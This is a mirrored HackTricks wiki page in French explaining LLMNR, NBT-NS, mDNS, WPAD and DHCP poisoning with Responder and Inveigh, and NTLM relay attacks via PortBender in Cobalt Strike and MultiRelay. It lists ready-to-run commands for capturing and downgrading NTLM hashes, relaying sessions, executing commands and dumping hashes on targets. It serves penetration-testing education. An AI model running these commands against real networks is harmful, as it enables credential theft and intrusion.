mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
127 lines
7.8 KiB
Markdown
127 lines
7.8 KiB
Markdown
# Spoofing LLMNR, NBT-NS, mDNS/DNS et WPAD et attaques de relais
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Protocoles Réseau
|
|
|
|
### Protocoles de Résolution de Nom Local
|
|
|
|
- **LLMNR, NBT-NS et mDNS** :
|
|
- Microsoft et d'autres systèmes d'exploitation utilisent LLMNR et NBT-NS pour la résolution de noms locaux lorsque DNS échoue. De même, les systèmes Apple et Linux utilisent mDNS.
|
|
- Ces protocoles sont susceptibles d'interception et de spoofing en raison de leur nature non authentifiée et de diffusion sur UDP.
|
|
- [Responder](https://github.com/lgandx/Responder) peut être utilisé pour usurper des services en envoyant des réponses falsifiées aux hôtes interrogeant ces protocoles.
|
|
- Des informations supplémentaires sur l'usurpation de services utilisant Responder peuvent être trouvées [ici](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
|
|
|
### Protocole de Découverte Automatique de Proxy Web (WPAD)
|
|
|
|
- WPAD permet aux navigateurs de découvrir automatiquement les paramètres de proxy.
|
|
- La découverte est facilitée via DHCP, DNS, ou un retour à LLMNR et NBT-NS si DNS échoue.
|
|
- Responder peut automatiser les attaques WPAD, dirigeant les clients vers des serveurs WPAD malveillants.
|
|
|
|
### Responder pour le Poisoning de Protocole
|
|
|
|
- **Responder** est un outil utilisé pour empoisonner les requêtes LLMNR, NBT-NS et mDNS, répondant sélectivement en fonction des types de requêtes, ciblant principalement les services SMB.
|
|
- Il est préinstallé dans Kali Linux, configurable à `/etc/responder/Responder.conf`.
|
|
- Responder affiche les hachages capturés à l'écran et les enregistre dans le répertoire `/usr/share/responder/logs`.
|
|
- Il prend en charge à la fois IPv4 et IPv6.
|
|
- La version Windows de Responder est disponible [ici](https://github.com/lgandx/Responder-Windows).
|
|
|
|
#### Exécution de Responder
|
|
|
|
- Pour exécuter Responder avec les paramètres par défaut : `responder -I <Interface>`
|
|
- Pour un sondage plus agressif (avec des effets secondaires potentiels) : `responder -I <Interface> -P -r -v`
|
|
- Techniques pour capturer les défis/réponses NTLMv1 pour un craquage plus facile : `responder -I <Interface> --lm --disable-ess`
|
|
- L'usurpation WPAD peut être activée avec : `responder -I <Interface> --wpad`
|
|
- Les requêtes NetBIOS peuvent être résolues à l'IP de l'attaquant, et un proxy d'authentification peut être mis en place : `responder.py -I <interface> -Pv`
|
|
|
|
### Poisoning DHCP avec Responder
|
|
|
|
- Le spoofing des réponses DHCP peut empoisonner de manière permanente les informations de routage d'une victime, offrant une alternative plus discrète au poisoning ARP.
|
|
- Cela nécessite une connaissance précise de la configuration du réseau cible.
|
|
- Exécution de l'attaque : `./Responder.py -I eth0 -Pdv`
|
|
- Cette méthode peut capturer efficacement les hachages NTLMv1/2, mais nécessite une manipulation prudente pour éviter toute perturbation du réseau.
|
|
|
|
### Capture de Credentials avec Responder
|
|
|
|
- Responder usurpera des services en utilisant les protocoles mentionnés ci-dessus, capturant des credentials (généralement NTLMv2 Challenge/Réponse) lorsqu'un utilisateur tente de s'authentifier contre les services usurpés.
|
|
- Des tentatives peuvent être faites pour rétrograder à NetNTLMv1 ou désactiver ESS pour un craquage de credentials plus facile.
|
|
|
|
Il est crucial de noter que l'utilisation de ces techniques doit être effectuée légalement et éthiquement, en s'assurant d'une autorisation appropriée et en évitant toute perturbation ou accès non autorisé.
|
|
|
|
## Inveigh
|
|
|
|
Inveigh est un outil pour les testeurs de pénétration et les équipes rouges, conçu pour les systèmes Windows. Il offre des fonctionnalités similaires à Responder, effectuant des attaques de spoofing et de l'homme du milieu. L'outil a évolué d'un script PowerShell à un binaire C#, avec [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) et [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) comme principales versions. Des paramètres détaillés et des instructions peuvent être trouvés dans le [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
|
|
|
|
Inveigh peut être utilisé via PowerShell :
|
|
```powershell
|
|
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
|
|
```
|
|
Ou exécuté en tant que binaire C#:
|
|
```bash
|
|
Inveigh.exe
|
|
```
|
|
### NTLM Relay Attack
|
|
|
|
Cette attaque exploite les sessions d'authentification SMB pour accéder à une machine cible, accordant un shell système si elle réussit. Les prérequis clés incluent :
|
|
|
|
- L'utilisateur authentifié doit avoir un accès administrateur local sur l'hôte relayé.
|
|
- La signature SMB doit être désactivée.
|
|
|
|
#### 445 Port Forwarding and Tunneling
|
|
|
|
Dans les scénarios où l'introduction directe dans le réseau n'est pas réalisable, le trafic sur le port 445 doit être redirigé et tunnelé. Des outils comme [**PortBender**](https://github.com/praetorian-inc/PortBender) aident à rediriger le trafic du port 445 vers un autre port, ce qui est essentiel lorsque l'accès administrateur local est disponible pour le chargement de pilotes.
|
|
|
|
PortBender setup and operation in Cobalt Strike:
|
|
```bash
|
|
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
|
|
|
|
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
|
|
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
|
|
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
|
|
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
|
|
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
|
|
|
|
# Termination commands
|
|
beacon> jobs
|
|
beacon> jobkill 0
|
|
beacon> rportfwd stop 8445
|
|
beacon> socks stop
|
|
```
|
|
### Autres outils pour l'attaque de relais NTLM
|
|
|
|
- **Metasploit** : Configuré avec des proxies, des détails sur les hôtes locaux et distants.
|
|
- **smbrelayx** : Un script Python pour relayer les sessions SMB et exécuter des commandes ou déployer des portes dérobées.
|
|
- **MultiRelay** : Un outil de la suite Responder pour relayer des utilisateurs spécifiques ou tous les utilisateurs, exécuter des commandes ou extraire des hachages.
|
|
|
|
Chaque outil peut être configuré pour fonctionner via un proxy SOCKS si nécessaire, permettant des attaques même avec un accès réseau indirect.
|
|
|
|
### Fonctionnement de MultiRelay
|
|
|
|
MultiRelay est exécuté depuis le _**/usr/share/responder/tools**_ répertoire, ciblant des IP ou des utilisateurs spécifiques.
|
|
```bash
|
|
python MultiRelay.py -t <IP target> -u ALL # Relay all users
|
|
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
|
|
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
|
|
|
|
# Proxychains for routing traffic
|
|
```
|
|
Ces outils et techniques forment un ensemble complet pour mener des attaques par relais NTLM dans divers environnements réseau.
|
|
|
|
### Forcer les connexions NTLM
|
|
|
|
Dans Windows, vous **pouvez être en mesure de forcer certains comptes privilégiés à s'authentifier sur des machines arbitraires**. Lisez la page suivante pour apprendre comment :
|
|
|
|
{{#ref}}
|
|
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
|
|
{{#endref}}
|
|
|
|
## Références
|
|
|
|
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
|
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
|
|
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
|
|
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
|
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|